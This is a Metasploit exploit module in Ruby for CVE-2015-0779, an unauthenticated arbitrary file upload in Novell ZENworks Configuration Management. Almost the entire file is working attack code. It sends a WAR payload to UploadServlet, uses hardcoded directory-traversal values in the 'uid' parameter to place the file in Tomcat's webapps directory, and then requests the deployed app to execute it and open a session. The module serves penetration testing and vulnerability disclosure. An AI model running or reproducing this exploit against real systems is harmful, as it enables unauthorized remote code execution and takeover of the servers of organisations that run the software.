Create zcm_file_upload.rb
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload',
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'Description' => %q{
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This module exploits a file upload vulnerability in Novell ZENworks
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Configuration Management (ZCM, which is part of the ZENworks Suite).
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The vulnerability exists in UploadServlet which accepts unauthenticated
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file uploads and does not check the "uid" parameter for directory traversal
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characters. This allows an attacker to write anywhere in the file system,
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and can be abused to deploy a WAR file in the Tomcat webapps directory.
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ZCM up to (and including) 11.3.1 is vulnerable to this attack. This module
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has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note
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that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also
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has a Metasploit exploit, but it abuses a different parameter of the same
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servlet.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2015-0779' ],
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[ 'OSVDB', 'TODO' ],
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[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt' ],
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[ 'URL', 'FULLDISC_URL' ]
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],
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'DefaultOptions' => { 'WfsDelay' => 30 },
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'Privileged' => true,
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'Platform' => 'java',
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'Arch' => ARCH_JAVA,
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'Targets' =>
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[
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[ 'Novell ZCM < v11.3.2 - Universal Java', { } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 7 2015'))
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL',
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[ true, "Use SSL", true ]),
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OptString.new('TARGETURI',
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[ true, "The base path to ZCM / ZENworks Suite", '/zenworks/' ]),
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OptString.new('TOMCAT_PATH',
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[ false, "The Tomcat webapps traversal path (from the temp directory)", '' ]),
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OptInt.new('SLEEP',
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[ true, 'Seconds to sleep while we wait for WAR deployment', 15 ]),
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], self.class)
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end
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def check
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
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'method' => 'GET'
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})
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if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def upload_war_and_exec(tomcat_path)
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app_base = rand_text_alphanumeric(4 + rand(32 - 4))
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war_payload = payload.encoded_war({ :app_name => app_base }).to_s
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print_status("#{peer} - Uploading WAR file to #{tomcat_path}")
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
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'method' => 'POST',
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'data' => war_payload,
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'ctype' => 'application/octet-stream',
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'vars_get' => {
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'uid' => tomcat_path,
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'filename' => app_base + ".war"
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}
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})
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if res && res.code == 200
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print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
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" seconds for deployment")
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sleep(datastore['SLEEP'])
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else
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print_error("#{peer} - Failed to upload, try again with a different path?")
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return false
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end
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print_status("#{peer} - Executing payload, wait for session...")
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send_request_cgi({
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'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
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'method' => 'GET'
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})
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return true
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end
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def exploit
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if datastore['TOMCAT_PATH'] != ''
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if not upload_war_and_exec(datastore['TOMCAT_PATH'])
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return
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end
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else
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# These paths should cover the Virtual Appliance, Windows and SLES installations
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tomcat_paths = [ '../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/' ]
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if not upload_war_and_exec(tomcat_paths[0])
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if not upload_war_and_exec(tomcat_paths[1])
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return
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end
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end
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end
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end
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end
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